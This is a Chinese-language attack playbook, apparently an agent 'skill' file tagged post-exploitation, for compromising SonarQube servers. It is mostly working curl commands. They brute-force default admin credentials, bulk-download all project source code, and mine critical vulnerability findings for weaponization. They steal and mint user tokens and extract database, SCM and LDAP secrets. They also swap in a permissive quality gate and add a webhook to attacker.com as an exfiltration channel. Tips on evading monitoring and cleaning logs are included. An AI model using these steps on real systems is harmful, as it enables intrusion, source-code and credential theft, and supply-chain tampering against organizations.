| name | sonarqube-tactics |
| description | SonarQube 代码审计平台攻击。当发现目标运行 SonarQube 实例(默认 9000 端口)、默认凭据 admin/admin 未修改、或需要从 SonarQube 窃取项目源代码和漏洞信息时使用。覆盖默认凭据攻击、项目源代码窃取、漏洞/Issue 枚举(CRITICAL 优先)、用户凭据与 Token 窃取、Quality Gate 绕过、配置文件提取(数据库/SCM 凭据)、Webhook 滥用、插件分析、热点与度量数据导出 |
| metadata | {"tags":"sonarqube,9000,代码审计,source-code,quality-gate,webhook,token,admin,漏洞扫描,devops","category":"postexploit"} |
SonarQube 代码审计平台攻击
SonarQube 是 DevSecOps 体系中的核心代码质量平台,默认监听 9000 端口,出厂凭据 admin/admin 常被忽略。一旦被攻破,攻击者可直接获取全部项目源代码、已知漏洞清单和内部凭据——相当于拿到整个研发体系的安全蓝图。
⛔ 深入参考(必读)
Phase 1: 服务发现与版本识别
1.1 Nmap 扫描
nmap -sV -p 9000 TARGET
nmap -p 9000 --script http-title TARGET
1.2 版本确认
curl -s http://TARGET:9000/api/server/version
curl -s http://TARGET:9000/api/system/status | jq .
关键判断:
- 返回版本号(如
9.9.0.12345) → 实例存活,进入 Phase 2
- 返回 HTML 页面 → 可能有反向代理,检查
/api/server/version 路径
- 版本 < 8.9 → 可能存在更多未修复的已知漏洞
Phase 2: 默认凭据检测
2.1 默认凭据尝试
curl -s -u admin:admin "http://TARGET:9000/api/authentication/validate" | jq .
for creds in "admin:admin" "admin:sonarqube" "admin:password" "admin:admin123"; do
echo "Testing $creds"
result=$(curl -s -u "$creds" "http://TARGET:9000/api/authentication/validate")
echo "$creds -> $result"
done
2.2 Token 认证测试
curl -s -u "squ_xxxxxxxxxxxx:" "http://TARGET:9000/api/authentication/validate"
关键判断:
{"valid":true} → 凭据有效,进入 Phase 3 决策树
{"valid":false} → 凭据无效,尝试其他弱口令组合
- 401 Unauthorized → 需认证,尝试 Token 或爆破
Phase 3: 攻击决策树
凭据有效?
├─ 管理员权限 → 全攻击面
│ ├─ 项目源代码窃取 (Phase 4)
│ ├─ 漏洞信息武器化 (Phase 5)
│ ├─ 用户枚举 + Token 窃取 → 横向移动
│ ├─ Quality Gate 绕过 → 供应链攻击
│ ├─ 配置提取 → 数据库/SCM 凭据
│ ├─ Webhook 创建 → 数据外泄通道
│ └─ 插件分析 → LDAP/SAML 凭据
├─ 普通用户权限
│ ├─ 可见项目源代码窃取 (Phase 4)
│ ├─ 可见项目漏洞枚举 (Phase 5)
│ └─ 个人 Token 生成 → 持久化访问
└─ 无认证(公共实例 / Force Authentication = false)
├─ 公开项目源代码窃取 (Phase 4)
└─ 公开项目漏洞枚举 (Phase 5)
前置信息收集:
curl -s -u admin:admin "http://TARGET:9000/api/users/current" | jq .
curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication" \
-u admin:admin | jq .
curl -s -u admin:admin \
"http://TARGET:9000/api/projects/search?ps=500" | jq '.paging.total'
Phase 4: 源代码窃取速查
4.1 项目与组件枚举
curl -s -u admin:admin \
"http://TARGET:9000/api/projects/search?ps=500" | \
jq -r '.components[].key'
curl -s -u admin:admin \
"http://TARGET:9000/api/components/tree?component=PROJECT_KEY&ps=500&qualifiers=FIL" | \
jq -r '.components[].key'
4.2 源码下载
curl -s -u admin:admin \
"http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/App.java" \
-o App.java
curl -s -u admin:admin \
"http://TARGET:9000/api/sources/lines?key=PROJECT_KEY:pom.xml&from=1&to=500" | \
jq -r '.sources[].line + ": " + .sources[].code'
4.3 批量下载脚本
PROJECT="PROJECT_KEY"
for file in $(curl -s -u admin:admin \
"http://TARGET:9000/api/components/tree?component=$PROJECT&ps=500&qualifiers=FIL" | \
jq -r '.components[].key'); do
mkdir -p "$(dirname "/tmp/sonar-dump/$file")"
curl -s -u admin:admin \
"http://TARGET:9000/api/sources/raw?key=$file" \
-o "/tmp/sonar-dump/$file"
done
→ 更多源代码窃取技巧 → 读 references/attack-techniques.md
Phase 5: 漏洞信息武器化速查
5.1 CRITICAL 漏洞优先枚举
curl -s -u admin:admin \
"http://TARGET:9000/api/issues/search?types=VULNERABILITY&severities=CRITICAL&ps=500" | \
jq '.issues[] | {rule: .rule, message: .message, component: .component, line: .line}'
curl -s -u admin:admin \
"http://TARGET:9000/api/issues/search?ps=500" | \
jq '.issues[] | select(.message | test("password|secret|token|credential|hardcoded"; "i"))'
5.2 安全热点枚举
curl -s -u admin:admin \
"http://TARGET:9000/api/hotspots/search?projectKey=PROJECT_KEY&ps=500" | \
jq '.hotspots[] | {key: .key, message: .message, component: .component, vulnerabilityProbability: .vulnerabilityProbability}'
5.3 度量数据导出
curl -s -u admin:admin \
"http://TARGET:9000/api/measures/component?component=PROJECT_KEY&metricKeys=bugs,vulnerabilities,code_smells,security_hotspots,coverage" | \
jq '.component.measures[]'
→ 完整漏洞枚举与武器化方法 → 读 references/attack-techniques.md
Phase 6: 用户凭据与 Token 窃取
curl -s -u admin:admin \
"http://TARGET:9000/api/users/search?ps=500" | \
jq '.users[] | {login: .login, name: .name, email: .email, groups: .groups}'
curl -s -u admin:admin \
"http://TARGET:9000/api/user_tokens/search?login=USERNAME" | \
jq '.userTokens[]'
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/user_tokens/generate" \
-d "name=backup-token&login=USERNAME" | jq .
Phase 7: 配置与凭据提取
curl -s -u admin:admin \
"http://TARGET:9000/api/settings/values" | \
jq '.settings[] | select(.key | test("password|token|secret|jdbc|scm|ldap|smtp"; "i"))'
curl -s -u admin:admin \
"http://TARGET:9000/api/settings/values?keys=sonar.jdbc.url,sonar.jdbc.username" | jq .
curl -s -u admin:admin \
"http://TARGET:9000/api/settings/values" | \
jq '.settings[] | select(.key | test("github|gitlab|bitbucket|azure"; "i"))'
Phase 8: Quality Gate 绕过与 Webhook 滥用
8.1 Quality Gate 绕过
curl -s -u admin:admin \
"http://TARGET:9000/api/qualitygates/list" | jq '.qualitygates[]'
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/qualitygates/create" -d "name=Permissive"
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/qualitygates/select" \
-d "gateId=GATE_ID&projectKey=PROJECT_KEY"
8.2 Webhook 滥用
curl -s -X POST -u admin:admin \
"http://TARGET:9000/api/webhooks/create" \
-d "name=notify&url=https://attacker.com/hook&project=PROJECT_KEY"
curl -s -u admin:admin \
"http://TARGET:9000/api/webhooks/list?project=PROJECT_KEY" | jq '.webhooks[]'
→ 读 references/attack-techniques.md 获取插件分析与批量导出技术
工具速查
| 工具 | 用途 |
|---|
| curl + jq | SonarQube REST API 交互的核心组合 |
| nmap | 端口发现与服务版本探测 |
| sonarqube-scanner | 官方扫描器,可用于理解项目分析流程 |
| hydra | Web 表单凭据爆破 |
| nuclei | SonarQube 默认凭据与已知漏洞模板扫描 |
注意事项
- SonarQube API 默认分页,
ps 参数最大 500,超过需用 p 参数翻页遍历
/api/sources/raw 按文件返回源码,大项目需脚本批量下载
- Token 生成后明文仅显示一次;已有 Token 只能看到名称和创建时间,无法恢复明文
- Quality Gate 修改会影响 CI/CD 流水线,可能被运维监控发现
- Webhook 创建后每次项目分析完成会触发回调,注意控制回调频率避免暴露
- 配置 API 中部分敏感字段(如密码)可能被遮蔽显示为
*****,需结合其他手段获取
- 操作日志可通过
/api/ce/activity 查看,注意清理或控制操作频率